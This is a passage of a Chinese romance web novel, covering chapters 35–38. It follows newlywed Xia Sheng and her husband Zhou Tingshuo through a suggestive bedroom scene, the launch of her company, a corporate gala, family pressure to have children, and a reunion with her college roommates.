肩上那根细带刚好擦过她锁骨上的红痣,落到肩膀下。 两人几乎胸贴背的距离,夏声想向旁边让,被他另一只手擒住腰。 她要开口,他的头低下,堵住她的话。 抓着窗帘的那只手顺势向下,握住她的手,拉下,按在还未完全掩上的窗边。 周庭朔在她身后,将她挤到玻璃窗前,她被迫侧仰着头迎他的吻。 身前是冰凉的玻璃窗,小臂和掌心贴在上面,身后是温热宽厚的胸膛,整个后背都被圈固。 夏声进退无处,下巴还被他用手托起,方便他更深的探寻,品尝。 呼吸间慢慢升温,夏声脑中的理智在一片片剥离,只剩下不断升起的干渴与焦灼。 她得了自由的手向后勾住他的脖子,慢慢转身,变成面对他的姿势。 双颊驼红,发丝几缕贴在脸侧,她挑起眼看他。 “你是来讨债的?” “看来还认账。”他低头笑,唇碰了碰她的锁骨,“连本带利,一次还清。” 夏声现在还能分出心算日期:“除夕夜到现在,刚好十天,过了一个星期,只能计息一次。” 放在她腰后的手向前推,夏声紧紧贴进他怀里,身后传来“唰”的一声。 窗帘整个掩上,她再一次被推向窗边。 背撞上去,触到厚织窗帘细腻的纹理,耳边是他不容商量的语气。 “我这里,就上不就下,所以计息两次。” 计息两次,就翻成四倍。 四次?一次还清? “你认真的?” 他用行动回答。 狩猎已经开始,夏声无处可逃。 放在她腰间的手向上一托,夏声的双腿离地,手立刻紧紧攀住他的脖子。 双腿绻起不自觉搭上他的腰,生怕掉下去。 周庭朔转身,就这样托着她回到床上。 天旋地转后,夏声的背终于触到实处,他跪在她**,躬身将睡衣从领口扯下,她趁机向后退,又被他一把捉住脚踝。 “债还没还,去哪?” 从前一次就够她喝一壶,四次她只怕要一寸不留地被碾平。 “我渴,想去喝水。”她编个蹩脚借口。 谁知他眸色幽深地看她一眼,随即握住她的脚踝,侧头在她膝边吻了吻。 “撒谎。” 战栗的陌生感觉直上脊背,夏声惊慌,伸手推他,可推的力几乎可以忽略不计。 身体敏锐的变化开始聚集,起势,不可挡。 她像飘摇天上的风筝,翻来覆去,随风激荡。 而唯一的锚点,是他。 水润的眸渐渐迷离,夏声咬着下唇,生怕一张嘴就冒出什么奇怪的声音。 直到她被榨干最后一丝力气,眼角溢出生理性泪水,才颤着声求饶。 “周庭朔,你……” 水中捞人般,她软软地躺在枕上,胸口急促起伏着。 “我真的没力气了。” 他静默片刻,偏头看眼床下,撕开的包装不过三个。 “你还欠我一次。” 就算欠十次,夏声也没力气争论。 停战协议生效,他翻身下床去放洗澡水。 夏声意识并不十分清明,知道应该去洗,却连个指尖都懒得动。 直到有人将她再次抱起来,放进温暖舒适的浴缸中。 洗的过程也迷迷糊糊,再回到床上,她几乎立刻睡过去。 服务全程的周庭朔站在床边,无奈摇头。 “是谁说 自己体力不差。” 十几分钟后,他带着一身清爽的凉意回来。 梦境中的夏声落入一个熟悉的怀抱,无意识调整下姿势,又沉沉睡去。 第二天,云声文化正式开工。 夏声作为总经理,主持了第一场会议。 除去秦莫,韩子弋,还有新入职的两人,赵文宾和许可欣。 赵文宾万万没想到自己能应聘上,上班时又兴奋又忐忑,生怕是错录他来的。 早上他来得比谁都早,把所有工位的卫生都做了一遍。 许可欣性格外向,自我介绍时用三分钟就将自己的履历说得非常清楚,条理逻辑口才俱佳,夏声有种捡到宝的感觉。 第一场短会结束,韩子弋就懒洋洋地准备撤退。 “上星期你交代我出的稿,还差两张,我争取明天交,但现在我要回去补觉。” 秦莫对她不熟,看着她扬长而去的背影,眼神询问夏声。 当然夏声了解她,之前看过她的那些作品,全部恣意、不拘、有灵气,亦有风格,跟她本人一样。 今天能来开这个会,已经是给足面子。 就由她去。 下午夏声要去工厂现场,这家是做出口轻工业品制造,一直专供欧洲订单,夏声曾给老板做过合同翻译。 老板送过她一件厂里出品的披肩,质量很好,完全不输大牌,所以她印象深刻。 做代工厂,是个很好的选择。 工厂在郊区,一来一回就两个多小时,再加上车间参观,看样品,等夏声回来已经是晚上七点多。 车开回碧水华汀,她在地库里静坐着歇了几分钟。 等进家门,才发现周庭朔已经回来,他站在中岛台,在跟徐姐说话。 福宝跟在徐姐身后,应该是在讨吃的。 它不找周庭朔,因为他从没喂过它零食。 他转头看向刚进门的夏声,见她将脚上的高跟鞋踢下,纤细的小腿裹在长裤下,露出的脚踝有些肿。 “公司第一天这么忙?” “嗯。” 夏声说了一下午话,喉咙干疼,先去接杯水灌下。 徐姐把切好的果盘端过来:“先吃点水果吧,看样子累坏了。” 她坐在中岛台边,抬起腿揉揉脚踝。 已经喝完一杯水,不那么渴了,第二杯她慢慢一口口抿着喝。 台面上摆着周庭朔的pad,屏幕还没熄,上面是照片页面。 婚纱照。 夏声抿着玻璃杯边缘,看向他。 “薛女士认为上次给你看过,没有后续是因为我不配合。” 所以,照片发到他这,要求务必尽快确定。 她放下水杯,单手撑下巴,手指划着屏幕上的照片。 “你确定要拍吗?” 她目光又落到他身后光洁的墙面上,想到要有婚纱照挂在这房间里,就觉得违和。 “要不我们省去这步吧。”她提议。 婚事相关通常是女方更在意,仪式感、人生唯一一次、爱情留念,诸多理由佐证。 但她轻描淡写地要求省去。 “如果你不想拍,我同意,但可能需要你同薛女士说。”他回应。 如果是他说,定会被认为是他嫌麻烦而不去,唠叨数落免不了。 “好,我来说。” 第二杯水也喝完,她起身准备去换衣服洗澡。 徐姐追出来:“先吃饭吧,已经做好了。” “不了。”她摆摆手,“没胃口,我想先去睡会。” 她现在只想躺下,站了大半天,被高跟鞋摧残的脚踝急需休息,加上昨夜又没睡好。 然而累过头,洗漱完反而睡不着。 躺在床上辗转半天,越来越饿。 一看时间,已经快十点。 夏声掀被起床,准备去厨房寻觅些吃的。 冰箱里还有些徐姐塑封起来的菜,热热就能吃,但夏声懒得动。 最下面的保鲜抽屉里还有水果,她翻出一根香蕉,还想看看有什么,背后传来脚步声。 “饿了?” 夏声回头,周庭朔就在她身后,伸手将她手里的香蕉抽走,放回冰箱。 将人从冰箱前拉开,他又从里面拿出鸡蛋,青菜,虾仁。 “去那坐着等会,几分钟就好。” 想起第一次在这吃饭,就是他下厨。 夏声问:“你要给我煮面吗?” “好久没吃了,还真有点想。” 那边他已经挽起袖子,开始准备工作。 洗菜,烧水的过程中,不忘从冰箱拿出些冰块,包在毛巾中。 他将另一只凳子移过来,示意她将腿放上去。 “下肢尽量抬高,再配合冰敷,能快速消除脚踝肿胀感。” 夏声接过冰毛巾,一下下按在脚踝,看着厨房里忙碌的身影。 “你平时那么忙,怎么有时间学做饭的?”她始终好奇,他为什么会有这么好的厨艺。 “我在英国留学三年。” 哦,那不意外了。 任何一个留学生都可能练就一身好厨艺,特别是去英国留学的。 果然是几分钟,一碗海鲜面就端上来,色香味俱全,夏声吃得满足。 周庭朔坐在她旁边,静静看着,等她快吃完才开口。 “下周一晚上有安排吗?” 第36章 第36章你没有机会了 夏声抬头,咽下一只虾仁。 “下周一,应该没有,怎么了?” “集团周年庆典,有个晚宴需要你出席。” 婚后,一般应酬场合,只要不是必须,他都不会要求她参加。 这还是第一次,想必比较重要。 “可以啊,我需要准备什么?”夏声低头看了眼,“是不是需要礼服?” 周庭朔起身给她倒杯温水,递过来:“不用,薛女士会准备。” “你只需要空出时间就好。” 果然如他所说,没过两天,薛宁玉就给夏声打电话,要她去家里试礼服。 夏声到西苑时,品牌方已经将礼服送到。 会客区临时变成了陈列厅,夏声从没见过这么多礼服,各种款式风格,应有尽有。 工作人员就等在旁边,方便记录有哪里需要调整更改。 “声声,快看看喜欢哪件。” 夏声没参加过这种晚宴,不知道什么风格比较适宜,就由专业人士给她建议,挑了几件去试。 她身形匀称,丰纤有度,格外衬得起衣服,试过几身都很漂亮。 一旁的周仪娇也要选,不过她选得快,试好就在旁边帮她参谋。 最衬她气质的是一条月白色鱼尾长裙,布料在灯光下会透出珍珠般的光泽,立体剪裁将她完美的腰臀比衬得更出众。 只是后背的深V有些过,直开到腰上一寸的位置。 夏声本还犹豫,周仪娇上前两步,凑到她身边。 “你们夫妻还真是有默契,都喜欢这件,那就别犹豫了,选它吧。” 她指指自己手机,屏幕上的聊天记录还热乎着。 刚刚夏声试的每一身,她都拍照实时发送,最后对面发来结论。 【鱼尾裙最适合她。】 闻言,一旁的薛宁玉也过来,看过周仪娇手机上的聊天记录,脸上尽是掩不住的笑。 “之前让他看下婚房的装修风格,他都三推四却没时间。” “这会儿帮老婆选礼服,倒是有空。” 周仪娇跟她妈妈一唱一和:“您懂什么,这叫真香定律。” 站在镜子前的夏声隐隐觉得脸颊生热,借着去换礼服,躲过她们母女的调侃。 晚宴当天,夏声特意提早结束工作。 安真本想做她的造型师,她前一天刚回来,这会也没什么事,只是夏声觉得没必要麻烦,就自己动手了。 晚上,周庭朔的车等在楼下。 夏声的裙子有些长,剪裁又太合身,加上穿了高跟鞋动作一点都不方便。 她走到车门旁,弯腰提裙摆。 司机原本在旁边想搭把手,看了眼后下车的周庭朔,默默退到一边。 夏声正在慢慢将裙摆折上来,身后有人扶住她的手肘,另一只手接过她的裙摆。 “小心 头顶。” 她唇角勾起,回了句:“谢谢。” 坐上车,夏声仍要挺直着背,她回头看眼周庭朔,穿着与平时差别不大,黑色手工定制西装配黑色衬衫,藏青菱纹领带,别了一枚白金领带夹。 “你还蛮会搭配的。”夏声指指他胸前。 折叠整齐的方巾只在口袋边缘露出一小部分,月白色,丝绸质地,仿佛跟她的礼服裁自同一块布料。 “薛女士特意送过来的。” 周庭朔靠坐在一旁,刚好能将夏声大半背部收入眼中。 礼服将她的腰身收拢,深V下是她莹白如玉的脊背,漂亮的蝴蝶骨清晰可见。 头发不似往常顺直,而是被她卷成随性的波浪发,大部分挽在脑后,只留下少许,偏放在胸前一侧。 “冷吗,要不要温度调高些?”他问。 夏声一直抱着手臂,倒不是因为冷,而是一直能感觉到他投来的目光,觉得不自在。 她摇头,转身对上他的目光:“你总看着我干嘛,是哪里不合适?” 目光顺着她纤细的手臂落下:“没有。” “只是缺样东西。” 去晚宴也没有规定必须要带什么,夏声一时没想起来到底缺什么。 正低头看,周庭朔从怀中拿出一只深蓝色丝绒方盒,缓缓打开。 里面是一对款式简约优雅的对戒。 他取出稍小的女戒,将她手牵过来。 “晚宴上会有不少媒体。” 捕风捉影的事,媒体最擅长,要是被发现两人没戴婚戒,转天婚姻生变的新闻就会发得到处都是。 将她无名指抬高,戒指的主钻对正,刚好套进她的指间。 夏声抬起手在眼前打量着:“你怎么知道我的尺寸,竟然刚刚好。” “量过。”在某个她在他怀中熟睡的夜晚。 盒子中还剩一只,周庭朔递给她一个眼神。 他的手指修长,指骨分明,白金质地的戒圈推上他的手指,很适配他冷白的肤色。 不过多了一只戒指,夏声看着他,脑海里突然跳出一个单词——unaviliable。 此刻,这枚戒指宣示着,他已成为有主的、不可被觊觎的。 当然,她也一样。 车子来到礼厅门口,厚实的红毯铺至车前,夏声扶着周庭朔的手下车。 身后大衣拢上,她挽上他的手臂。 晚宴会场大多是陌生面孔,夏声陪他应酬一阵,小腿就开始有些酸胀。 为了配这套礼服,她特地选了一双十公分的红底细高跟,比平时的鞋子还要磨人。 看出她有些累,周庭朔让她先去休息区歇着。 晚宴正式开始前,他需要做周年总结发言,夏声远远坐着,看他站在人群中央,有种恍惚感。 此刻的他,从容,持重,运筹帷幄,寥寥几句却掷地有声,跟与她讨价还价时的轻黠模样全然不同。 判若两人,表里不一,她评价。 发言并不长,热烈的掌声后,晚宴正式开始。 会餐是相对自由的自助餐模式,菜品摆盘精致漂亮,却没多少人动,毕竟没几个人真是冲着吃东西来的,大多三两成群,聊天交际。 夏声却不亏自己胃口,挑了两道甜品来吃。 只是站在桌前,总觉得有目光隐隐落在她身上。 转头,视线穿过人群,对上一张熟悉的面孔。 卓冕远远走来,与她打招呼。 “你也来了,难得看到个熟人。”夏声笑得亲切。 他手中拿着香槟,目光幽幽看着她,一饮而尽。 “很无聊吧,要不要带你去外面透透气?” 今天是明箴的周年庆,周庭朔做为集团话事人,是绝对的中心,自然没时间照顾她。 夏声想想,摇头。 纵使她不必应酬,但与其他男性单独接触,被有心人留意,影响也不好。 刚好她看到周仪娇从人群中出来。 “嫂子,你怎么在这,让我好找。” 她走过来跟卓冕打过招呼,就急着拉夏声走。 “妈叫你过去呢。” 夏声手里还拿着装蛋糕的瓷碟,回头放餐具的功夫,人已被周仪娇拉住往前走。 侧后方是端着酒杯路过的侍应生,谁也没注意到。 马上要撞上的瞬间,一个身影挡在她身侧,抬手扶住她的肩,将她带离危险地带。 情景转变太过迅速,夏声后退时鞋跟被裙摆裹住,险些摔倒。 “小心。”卓冕扶着她,帮她稳住身形。 “谢谢。”夏声一边道谢,一边弯身,试图解救自己的鞋跟。 鱼尾裙的下摆承花苞状绽开,里面是由层层叠叠的纱撑起,鞋跟就卷在那里面。 周仪娇回头,看到旁边勉强护住酒杯的侍应生,眉头皱起。 “你倒是看着点人!” 夏声被裙子束缚着,实在不方便弯腰蹲下,正心里犯难,身边的卓冕往前一步,只是还未等动作,就被人拦下。 不知什么时候过来的周庭朔在她面前站定,眼神看向卓冕。 在对方退开后,他低头看向她的裙摆。 “别急,我看看。” 他略微提起裤腿,屈膝蹲在她面前,掀开一层层裙纱,在最里面找到卷住的鞋跟。 掌心握住她的脚踝,不急不缓,几下解开纠缠。 “好了。” 周围有不少人将这一幕看在眼里,他似浑然不觉,起身站在她旁边,伸出手臂。 “走吧,几个长辈想见见你。” 夏声脚踝被他握过的地方还留有余温,垂眸搭上他的臂弯,默默点头。 她指间钻石折射出的细碎亮光,刚好落在一旁的卓冕眼中。 * 宴会厅二楼露台。 卓冕独自站在那,看着楼下正厅角落一道纤瘦的身影。 身后传来脚步声,周庭朔在他旁边站定,手臂搭在栏杆上。 “聊聊?” “你想聊什么?” …… 宴会快到尾声,夏声正在跟薛宁玉说话,周庭朔拿着她的大衣出现,直接将人牵走。 “现在可以回去了?”她提着裙摆跟着他。 “嗯,后面我可以不出面。” 站了一晚上,夏声腰也酸腿也累,刚想去车后排,发现周庭朔拉开副驾门在等她。 回去他要自己开车。 一路上,两人都没怎么说话,夏声是懒得出声,一直靠向车窗休息,等车开到楼下便抱着大衣,准备下车。 只是车门仍锁着。 她回头:“怎么了,不下车吗?” 露台上的对话,一句句浮现在周庭朔脑海。 “我跟她从前就认识。” “我不否认对她有好感。” “其实有时候我很羡慕你,如果当时跟她联姻的对象换成我,想必她也会像现在一样,站在我身边,履行职责,扮演好妻子的角色。” …… 履行职责。 周庭朔抬眸看向夏声:“如果当初是其他人跟你联姻,你会同意吗?” 夏声的头发有一缕松了,这会儿又下不了车,索性拉下化妆镜整理头发。 “不知道,你会吗?”她紧接着接了句,“你应该会。” 其实夏声心里很清楚,两人当时都是为完成任务,对象只要不是太出格,都能接受。 “所以,我可能也会。” 挽发的边夹有些松,夏声刚取下准备重新固定一下,旁边的周庭朔突然抬手合上她眼前的镜子。 “你没有那个机会了。” 还未等夏声反应过来,他已将身侧的安全带打开,一手将她怀里的大衣扔到后座,一手撑在她椅侧,探身吻过来。 第37章 第37章想要吗 他的动作太过行云流水,眨眼的功夫,人已贴上来。 夏声本能的向旁边躲,但被安全带禁锢,也退不到哪。 地下车库的感应灯突然亮起一片,似乎有人开车过来,夏声想要推他,却被他钳住手腕按在椅子上。 裸露的背蹭在座椅微凉的皮质上,夏声又不自觉地想往前。 周庭朔噙着她的唇,一只手探到她身后,隔开椅背。 温热的掌心贴上 她的肩胛骨,进一步用力,将她向他怀里推。 这会,他的吻像是带着情绪,汹涌直入,算不上温柔,更多是侵占,势要将她每一处柔软,都标记上自己的痕迹。 夏声手心发热,腰窝发软,嘴里发出不成句的音节,像是在抗议。 只是这抗议,被他视作邀请。 礼服的背开得过大,肌肤几乎大半裸露在外,他的手顺着她脊柱浅浅的凹陷向下,扶上她的腰。 接着在她腰侧轻轻按了下。 数次的实战经验,他已经很清楚她的敏感之处,不过略微挑拨,夏声便软了声调。 “别。”她立刻捉住试图作乱的手。 “你疯了,这还有人。” 后面一排,刚好有辆刚停下的车,车灯直直照向他们的后视镜,周庭朔的眼睛映在光里,暗潮汹涌。 他动作一顿,垂眸看向她略微红肿的唇瓣,低头轻触一下,随后才转身退回去。 夏声的头发已全部散开,身上的礼服被揉出几道褶皱,唇上的妆只怕也花得不像样子,转头再看他。 西服笔挺,神色坦然,连根头发丝都没乱。 真是衣冠…… 对上他的侧脸,后面两个字又自动在心里消音。 外套被他拿在手上,车门已打开,他绅士地向她伸出手:“走吧。” 转天,安真在群里哀嚎。 【安真:昨天为什么你不带我一起去你们那个晚宴!】 【夏声:?】 一个小网红,就因为昨天拍了参加明箴晚宴的VLOG,今早就冲上热门,涨粉好几万。 不过人家本就是个富二代,跟着家里的关系参加晚宴,随手拍了发到网上,也是歪打正着。 【安真:@夏声你现在可成红人了。】 昨晚,周庭朔俯首为她解困的画面,刚好被那个网红拍到,只是两人远远的侧影,已足够引起轰动。 网友对豪门秘事最好奇,偶然窥到一角,就发扬起超绝想象力。 【周仪娇:我也看到了,好多人说这是王子公主的童话照进现实,嫂子你现在可是全网艳羡的幸福女人。】 【夏声:……】 什么童话,夏声今天有上百页的法语原件合同要看,灰姑娘工作量跟她差不多。 合同审核过,她们才能开工,时间就是金钱,没准她今晚要通宵。 秦莫敲敲门,帮她把订的午饭送进来。 “休息会吧,看一上午了,要不你再分我些,我也能审。” 夏声将合同推到一边,掀开食品包装盒:“不了,你有你的事要做。” 她们本就说好分工合作,何况论法语水平,夏声略比她高一些,审核合同还是严谨些比较好。 秦莫倒了杯水给她,想起早上看到的热搜。 “没想到你们家周先生身价这么高,上次见他本人倒挺平易近人的。” 网友们已将明箴集团发展如何迅速,技术如何前沿,实力如何强大等扒得清楚,很难想象这样企业的掌权人,会跟她们一起分析几个小职员的去留。 夏声刮着一次性筷子上的毛刺,听着这话想笑。 平易近人这词,总觉得是形容某位位高权重的老头。 “也不至于吧,他就是一普通人。” 办公室外,赵文宾正跟许可欣聊这位“普通人”。 “我面试的时候,见过这位周总,虽然这视频离得远拍不清楚,但看身形肯定没错。” “原来咱们老板是富太太,真励志,有这好生活还出来创业。” 许可欣那天没见到周庭朔,只听赵文宾生夸,倒没什么反应。 “嗐,这样咱们更要打起精神,眼看夏总退路这么宽,如果公司只是人家随便开开打发时间的,没准哪天咱们就失业了。” 是不是随便开开,很快他们就有体会。 为了得来不易的首单,他们公司整忙了半个多月。 从签订合同,调整产品,到联系工厂,催产样品,再到跑海关手续,每一步夏声都亲自盯着。 半个月后,总算进入生产周期,只要不出意外,合同就能按时交单。 夏声在电脑上发完确认邮件,靠在椅背上放空。 这几天,她几乎每天只睡五个小时,有时不是没时间,而是脑子里事情太多,睡不着。 刚闭了会眼,听到敲门声。 等睁开眼,韩子弋人已经到眼前。 她抬起腿半坐在夏声办公桌沿上,显然有事要说。 “有个急单,国内的,接不接。” 是一个艺术馆的委托,想做些展品周边,数量不多,质量要求还高。 算下来其实赚不到什么钱。 夏声考虑一会,点头:“接。” 其实是韩子弋朋友的私人艺术馆,本来就是托她帮忙,没想到夏声这么爽快就答应。 “你要知道,光打板定样,还有沟通形式就够费事,他还只定那百来件,真不赚钱。” “主要是国内单。” “我知道啊。”夏声退出电脑屏保,“但有单做总比闲着好。” 她让韩子弋把对方联系方式发来,自己先沟通一下。 顺便不忘解释。 “这个艺术馆我知道,前两天刚公布了下次主题展时间,他们还有海外巡展对吧?” 如果这次合作愉快,下次海外巡展,也可以找她来合作。 那么她们的产品就又多一次直销海外的机会。 新公司,很需要产品去打开市场。 韩子弋快速敲了两下桌面,挑下眼皮。 “你脑子动得倒是快,放心,这事我帮你记着。” 其实有韩子弋从中搭线,产品形式还有美术方案都不必担心,夏声只要保证实物符合预期。 下午,夏声忙得忘了时间,直到周庭朔电话打来,才想起晚上要回西苑吃饭。 前两天,周灵熙说想她了,正好周庭昀也想见她一面。 自过年这个大哥回家,似乎下定决心振作,不准备再回疗养院虚度时光。 她接起电话,同时关闭电脑,拿包下楼。 “我再过半小时到,不好意思没看时间。” 周庭朔最近也很忙,这会同样刚从办公室出来。 “不急,我们应该前后脚到。” 他们的工作地点正好在城市两个方向,往西苑去倒是距离差不多。 “对了,晚上如果妈提了什么话题,你不好回答就我来说。” 夏声刚上车,手机连上蓝牙就听到这么一句。 “什么意思?” 最近薛宁玉已经旁敲侧击他很多次,翻来覆去无非说起孩子的事。 原本她是不催生的,可看着周庭昀回来后,周灵熙日夜陪伴的样子,又觉得早点有个孩子,对他们夫妻也是好事一件。 果然,晚上吃饭没绕过这个话题。 周庭昀一直听周灵熙说起这个小婶婶,今日见面便先道谢,谢她帮忙照顾他女儿。 他跟周庭朔长得有些像,只是轮廓更柔和些,即使坐在电动轮椅上,依旧彬彬有礼很有风度的样子。 夏声笑着回复:“大哥客气了,熙熙这么乖,我很喜欢她。” “是。”话题到这,薛宁玉忍不住开口,“小孩子就是很招人喜欢。” “听说声声最近公司挺忙的,学校现在没课了是吧?” 她们已经是最后一个学期,除去交论文和准备答辩,基本不必回学校。 “嗯,学校已经没什么事了,最近都在忙公司的事。” 薛宁玉动手盛了碗汤递给她:“这几天我瞧着又累瘦了,办公司这么辛苦,也该休息两天。” “你说庭朔也是,总那么忙,声声喜欢孩子,你都配合不上。” 嘴里的汤还没咽下,夏声呛了一口,差点喷出来。 转头对上周庭朔沉着的表情。 他给她一个安定的眼神:“妈,这事跟忙不忙无关,只是我们现在还没考虑。” 薛宁玉白了自己儿子一眼。 “你也该考虑了,老大不小还当没事人一样,你看你大哥比你大六岁,熙熙都八岁了。” 主位上,一直没插言的周老爷子点头:“是,该考虑了。” 默默喝汤的夏声没敢开 口,她自己才刚要毕业,完全不想马上就生个孩子拴住自己,但这话她说不合适。 倒是旁边的周庭昀帮忙解围。 “妈,就别拿我作比了,我又不是什么好例子,我看他们现在挺好,年轻人忙事业才有拼劲。” “不像我,时间都荒废了。” 周起岩今天恰巧不在家,要是听见儿子说这样的话,大概又要冷脸。 但薛宁玉还是心软,知道话题触到他心头,也就不再多说。 这事就此揭过。 晚上从西苑离开,夏声没忍住问周庭朔。 “我们好像没讨论过这件事。” 他靠坐在旁,支着额角,问:“什么事?” “什么时候要孩子。” “你先想好前面的问题。”他视线递来,“你想要孩子吗?” 想要吗? 从嫁进周家,夏声就没把这个问题当做一个可选项,只默认什么时候要是她可以选择的。 “可以不要吗?”她不确定,“我的意思是,你们家的产业,总要留人去继承,爸妈爷爷会同意吗?” 车子穿行在路灯下,一明一暗的光影落在他脸侧,让她很难看清他的表情。 空气安静几秒,他的声音平静无波。 “你首先是自己,其次才是我的妻子,至于其他更是不必过多考虑。” “所以这件事,你先要问自己,你想要吗?” 他放下手肘,靠向椅背,视线落在远处。 “况且,周家又不是没后,熙熙已经八岁,再过十年想接手什么不可以?” 也就是说,在他眼里,她没有必须生的说法,家族产业也没有必须传给男性。 身为女孩周灵熙同样可以继承,可以掌权。 此刻,看清这些的夏声心中有了答案。 如果是面对他,那“是否要”这个问题的答案,可以是肯定的。 只是不会是现在。 第38章 第38章满意吗 距离开学已过去一个多星期,同寝的几个同学都陆续返校。 大家在群里呼唤夏声。 【金楠楠:@夏声好久不见,甚是想念,可有时间赏光一聚?】 【赵茹:你放假在家古装剧看多了?咋一股子酸秀才味,不过确实好久没聚了,夏声你什么时候回学校?】 夏声忙着公司的事,没时间回学校住,但大家都回来,也该见一面,以后毕业就没机会了。 【夏声:这周六行吗,诗诗那时候应该也回来了。】 【沈习诗:可以,我赞同!】 几个小姐妹约好到时候先去吃饭,再去唱K。 当天下午,夏声安排好工作,就开车去学校接室友。 金楠楠一上车,就夸张地到处看。 “可以啊声声,过个年你车都开上了。” 另两个室友坐后排,也扶着椅背凑过来。 “对啊,怎么一下发达了?还是说你老公给你买的?” 夏声嘱咐她们扣紧安全带,轻描淡写地揭过。 “没,这车不贵,就是普通代步车,我自己拿钱买的。” 几人说说笑笑到餐厅,吃饭的功夫,终于有人注意到夏声手上的钻戒。 “等等,手伸过来我瞅瞅。” 众人不由分说,拉过她的手开始品鉴。 对戒的款式简约,主钻并没多大颗,主要为与整体造型相协调,不过钻石的透度和切割都是顶级,所以看起来格外闪。 沈习诗拨弄着戒圈,左看右看,似乎很懂行。 “这可不是便宜货,就是看不出是哪家牌子的。” 戒指是周庭朔定制的,夏声也不清楚。 “可能也不是什么牌子,就是戴个意思。” 夏声对于婚事一概不爱透露,室友知道她结束单身都是看的她那条跨年朋友圈。 之前在群里问她情况,也是避重就轻,随便回几句。 所以大家对她另一半极其好奇。 “声声,你说你谈个恋爱悄无声息,直接给我们来个重磅消息,就结婚了。” “现在老公什么模样我们都没见过,你是不是太把姐妹们当外人了?” 恋爱是没谈的,婚是闪结的,可要说自己是什么商业联姻,更像在信口胡说。 夏声也是为难:“没有把你们当外人,只是事都比较匆忙,没来得及告诉你们。” 金楠楠是最好奇的一个,率先提议。 “既然这样,你把你老公照片给我们看看,到底多帅,这么快就能获得我们寝室女神的芳心。” 毕竟之前她可是介绍好几个高质量帅哥,都被夏声给拒绝了。 这要求并不过分,之前沈习诗谈了男朋友,大家都见过的,金楠楠的初恋男友跟她是异地,她们也都看过照片。 可麻烦就麻烦在,夏声真没有周庭朔的照片。 他朋友圈没发过,两人唯一的合照也就是跨年那张,现在真要看,只能临时找他本人要。 纠结又纠结,只好发信息问问。 【夏声:你有自己的照片吗,方便发我一张吗?】 好在这次他回的快。 【周庭朔:要照片做什么?】 他这会儿刚好工作的间隙,手机相册里并没有照片,他没有拍照的习惯。 只是看着对话框里,对方一直显示正在输入,却半天没发过来消息。 看起来确实很需要,而且开口还有些为难。 【夏声:就是,我正在跟同学吃饭,然后她们就问起来。】 【夏声:没关系,实在不方便就算了。】 发完消息,夏声将手机收进口袋,正好饭吃得差不多,她借着结账的话题,暂时糊弄过去。 “咱们结账吧,正好现在去唱K还是优惠时间段。” 原本她准备请客,但大家都不同意。 从上了大学,夏声就一直兼职赚钱,她原本就不算多宽裕。 哪怕现在看起来过得还不错,大家也延续原来的规定,一致决定AA。 吃完饭出门,小姐妹们又买了一堆零食,准备带去唱歌吃。 夏声再看消息时,她们已经到KTV。 周庭朔问她在哪吃饭,夏声随手回他一个定位。 【夏声:已经出来唱歌了,照片不用啦,她们应该忘掉这事了。】 她发去一张“悄咪咪别出声”的表情包。 收到消息的某人,眼尾微微上扬。 她这反应,好像他多不能见人一般。 包厢里,夏声负责点歌,赵茹是麦霸,金楠楠则是最称职的氛围组,手舞足蹈打节拍,逗得夏声连拍两个视频,发到群里大家留存。 视频正上传,她看到一条新消息。 【周庭朔:在几号包厢?】 她扣下手机,立刻四处看看,又反应几秒,没等再问他,电话已打过来。 “你别告诉我你来了。”夏声语气里充满警惕。 听筒对面,环境音很安静,显然不是在KTV。 “没有,只是给你们点些喝的送过去。” 她明显松口气,报了包厢号码。 “不用点太多,我们自己买了饮料,不过还是谢谢你啦。” 没一会,就有人来包厢送东西。 服务员端着托盘,一个挨一个的进来,果盘,饮料,小甜点,林林种种很快将桌面摆满。 赵茹歌唱到一半,直接停嗓,举着麦克风问。 “这什么情况,送错地方了吧?” 服务员摆好东西,清点下数量。 “没有送错,包厢301,是一位周先生点的。” 说好让他随便点些就行,这下好了,大家又被挑起好奇。 夏声只好说老公认识这家店的老板,对方可以打折,所以点得多些。 沈习诗看下桌上的饮料,全是无酒精的,笑着揶揄她。 “你老公看你还挺严,一点酒不让喝哦。” 那倒不是,夏声本也不爱喝酒,以前跟同学聚会最多喝几杯啤酒,多了就醉。 “我要开车嘛,你们想喝的话,我给你们点。” 大家也就是开她玩笑,现在这些都远喝不完。 几个小姐妹,聊聊天唱唱 歌,越玩越high。 夏声手机扔在桌子上,人被拉上去合唱,所以手机上的未接来电也一直没看到。 直到包厢有人敲门,她刚结束一曲,正好去开。 包厢灯光低暗,骤然接触走廊的强光,她眨了几下眼睛才适应。 直到看清眼前的身影,夏声惊讶:“你怎么来了?” 周庭朔向她身后看,里面几个姑娘正纷纷投来好奇的目光。 “嗯,刚好路过,给你打电话没接,想看你是不是有什么事。” 人都来了,夏声也不能赶走,她只好拉开门侧身,让他先进来。 原本还叽叽喳喳的小姐妹们,不由自主放下零食饮料,在沙发前站成一排,仿佛迎接领导视察。 主要是周庭朔气场实在太强,谈吐举止皆不俗,表情虽是谦和有礼,却还是给人一种距离感。 更别提他身上穿着做功考究的黑色风衣,锃亮的皮鞋,即使不识货也看得出贵的惊人。 夏声一一为他们做完介绍,大家打过招呼就没话说,气氛一时变得拘谨尴尬。 周庭朔不是来搅局的,他看眼时间,已经快过九点。 “你们还要唱一会吗?” “也差不多要散了。” 他会意:“那好,我去楼下等你,你再跟朋友说会话,不着急。” 知道他的到来肯定要引起话题,还特意留给她应对的时间。 不知该不该夸他体贴。 周庭朔走后,房间回归原状。 很快安静被打破,七嘴八舌的讨论开始。 “好啊夏声,你自己偷偷吃这么好,怪不得一声不响就结婚,老公这么帅你不要命了!” 沈习诗是外貌协会高级成员,谈恋爱第一宗旨就是看脸。 不过赵茹却不是,她按住过分激动的沈习诗,提出疑问。 “你老公是做什么的,平时也这样严肃正经,不苟言笑吗?你跟他待在一起不会觉得有压力?” “压力什么啊,赵茹你真是油盐不进,天天看到这张脸,什么压力都没了!” 平时话最多的金楠楠此刻却非常安静,过了会终于回过味来。 “他是周庭朔?那个明箴集团的总裁?”她瞪大眼睛,指着夏声,“也就是你手机备注上的周先生?” 对上了,一切都对上了。 金楠楠对八卦的敏感度让她迅速整理出信息。 “所以你们去年就认识了,就是他来学校宣讲会那次?” 夏声心虚声低:“算是吧,刚认识。” “还有前两天,突然上热搜那什么明箴晚宴的视频,里面的主角,就是你俩?” 那视频拍得并不清楚,如果不是熟人,大概认不出,况且她们根本不会把她跟有钱人联系在一起。 眼见再说下去,又要从长计议,不知说到几点。 